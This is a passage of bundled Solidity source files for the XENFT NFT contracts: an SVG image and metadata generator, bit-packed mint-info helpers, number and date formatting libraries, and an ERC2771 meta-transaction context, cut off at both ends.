1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % 